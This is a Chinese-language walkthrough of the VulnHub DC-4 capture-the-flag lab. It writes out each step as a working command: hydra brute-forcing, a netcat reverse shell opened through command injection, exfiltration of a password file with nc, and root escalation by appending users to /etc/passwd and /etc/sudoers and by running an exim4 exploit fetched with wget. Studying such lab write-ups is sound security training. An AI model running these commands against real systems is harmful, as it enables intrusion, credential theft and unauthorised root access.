vulnhub靶场记录DC-4
vulnhub靶场DC-4通关记录
靶场描述
DC-4 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.
Unlike the previous DC releases, this one is designed primarily for beginners/intermediates. There is only one flag, but technically, multiple entry points and just like last time, no clues.
Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.
For beginners, Google can be of great assistance, but you can always tweet me at @DCAU7 for assistance to get you going again. But take note: I won't give you the answer, instead, I'll give you an idea about how to move forward.
渗透靶场
一、信息搜集
首先给靶机开启NAT桥接模式 在攻击机中使用nmap扫描靶机ip
nmap 192.168.160.0/24
找打靶机ip
192.168.160.155
再进一步扫一下端口
nmap -A -p- -v 192.168.160.155
开放了80端口 存在web服务 使用nginx中间件 版本1.15.10
开放了22端口 存在ssh服务 Openss版本7.4p1
在使用whatweb进行CMS识别 搜集一波信息
在使用dirsearch扫一波目录
二、访问web站点
爆破网站登陆密码
使用bp或者hydra爆破都可以
hydra -l admin -P /home/kali/Desktop/brutehash/rockyou.txt 192.168.160.155 http-post-form "/login.php:username=^USER^&password=^PASS^:S=logout" -F
-l 用户名
-L 用户名字典
-p 密码
-P 密码字典
http-post-form 使用http协议下的post方法进行破解
"/login.php:username=^USER^&password=^PASS^:S=logout":
1."/"指登陆页面所在目录 该网站的登陆目录在index.php
2.POST提交的内容只是把用户名和密码部分换成了^USER^和^PASS^。USER对应前面的-l 后跟的用户名root,PASS会被字典中的密码逐个替换
密码是happy
bp爆破就用本机访问一下 抓个包 找几个字典 一秒爆出来了
使用username:admin/password:happy
登陆
看起来有一个任意命令执行
执行了ls -l
执行了du -h
执行了df -h
抓个包看看
真是执行了ls -l
同时也看到这里空格是使用+
表示的 那我们可以利用这一点反弹shell了
三、反弹shell
先开一个终端 监听一下端口
nc -lvvp 1145
再在bp上写入反弹shell的命令
nc 192.168.160.131 4444 -e /bin/bash
在这个环境中 空格要使用+代替
nc+192.168.160.131+4444+-e+/bin/bash
这边这个ip一定要写攻击机的
反弹成功
在用python创造一个交互式的shell
python -c "import pty;pty.spawn('/bin/bash')"
找到并提取密码文件
在home文件夹下查看用户 找到三个用户
charles jim sam
在/home/jim/backups
下找到一个old-passwords.bak
查看内容 看起来很像字典 使用nc将这个文件保存到本机
现在攻击机下监听一个端口 指定接受一个文件
nc -lvvp 5555 > old-passwords.bak
再在shell里面监听相同的端口 指定发送上面的密码文件
nc 192.168.160.131 5555 < old-passwords.bak
接收到了
四、登陆用户
使用hydra爆破jim用户密码
可以使用这个字典文件爆破jim用户的密码 还是使用hydra
hydra -l jim -P old-passwords.bak ssh://192.168.160.155
爆破出密码为``
登陆jim用户 发现charles用户密码
使用刚才爆出来的jim用户密码进行登陆
使用ssh也可以进行连接
ssh jim@192.168.160.155
提示有一封邮件
在/var/mail
文件夹下找到邮件
这是一封charles发给jim的邮件 从中可以得到charles的登录密码为^xHhA&hvim0y
五、提权
使用teehee进行提权
使用上面得到的密码 切换到charles用户后 查看这个用户有什么可以使用的root命令
sudo -l
发现可以无密码使用teehee
先看一下用法
teehee -h
-a
参数允许往一个文件中追加内容
1./etc/passwd
我们可以利用这一点 向/etc/passwd
文件中追加一个新的超级用户
先用openssl生成一个加盐的密码
openssl passwd -1 -salt 1*2*3 abcd
# $1$1*2*3$GDXeco9uaGB.Q0i0wsFCA1
使用teehee创建超级用户
echo 'abc:$1$1*2*3$GDXeco9uaGB.Q0i0wsFCA1:0:0:root:/bin/bash' |sudo teehee -a /etc/passwd
登录abc用户 输入密码abcd
成功登录 是root权限
2./etc/sudoers
相同的 我们也可以添加一个超级用户到/etc/sudoers
中
我们可以使用teehee在/etc/sudoers文件后追加
charles ALL=(root) ALL
输入
echo 'charles ALL=(root) ALL' |sudo teehee -a /etc/sudoers
在使用vi提权
vi privilege.txt
输入charles用户密码
:!/bin/bash
在输入
sudo -l
exim4(suid)提权
首先查看charles用户可以使用suid提权的命令
find / -type f -perm -u=s 2>dev/null
其中exim4
是可以进行提权的
但是不知道为啥charles用户用不了这个命令 那我们还回到最初的www-data用户
exim4 --version
1.查找漏洞利用脚本
searchsploit exim 4
找到好几个都可以使用的提权脚本
选择第一个46996.sh
2.利用脚本
找到脚本的路径
searchsploit -p 46996.sh
将脚本复制到桌面
cp /usr/share/exploitdb/exploits/linux/local/46996.sh 46996.sh
开启apache服务
systemctl start apache2.service
将这个漏洞攻击文件转移到/var/html/www
文件夹下
mv 46996.sh /var/www/html
将文件下载到靶机/tmp
中
wget http://192.168.160.150/46996.sh
看到此时用户对46996.sh
并没有执行权限
赋予执行权限
chmod +x 46996.sh
执行脚本 发现得到root权限
进入到root文件夹下 得到flag
888 888 888 888 8888888b. 888 888 888 888
888 o 888 888 888 888 "Y88b 888 888 888 888
888 d8b 888 888 888 888 888 888 888 888 888
888 d888b 888 .d88b. 888 888 888 888 .d88b. 88888b. .d88b. 888 888 888 888
888d88888b888 d8P Y8b 888 888 888 888 d88""88b 888 "88b d8P Y8b 888 888 888 888
88888P Y88888 88888888 888 888 888 888 888 888 888 888 88888888 Y8P Y8P Y8P Y8P
8888P Y8888 Y8b. 888 888 888 .d88P Y88..88P 888 888 Y8b. " " " "
888P Y888 "Y8888 888 888 8888888P" "Y88P" 888 888 "Y8888 888 888 888 888
Congratulations!!!
Hope you enjoyed DC-4. Just wanted to send a big thanks out there to all those
who have provided feedback, and who have taken time to complete these little
challenges.
If you enjoyed this CTF, send me a tweet via @DCAU7.
总结
至此,DC-4靶机打完